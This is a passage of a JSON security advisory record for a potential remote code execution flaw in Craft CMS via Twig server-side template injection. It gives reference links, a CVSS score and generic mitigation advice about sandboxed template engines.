"url": "https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "http://github.com/craftcms/cms/pull/17026"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.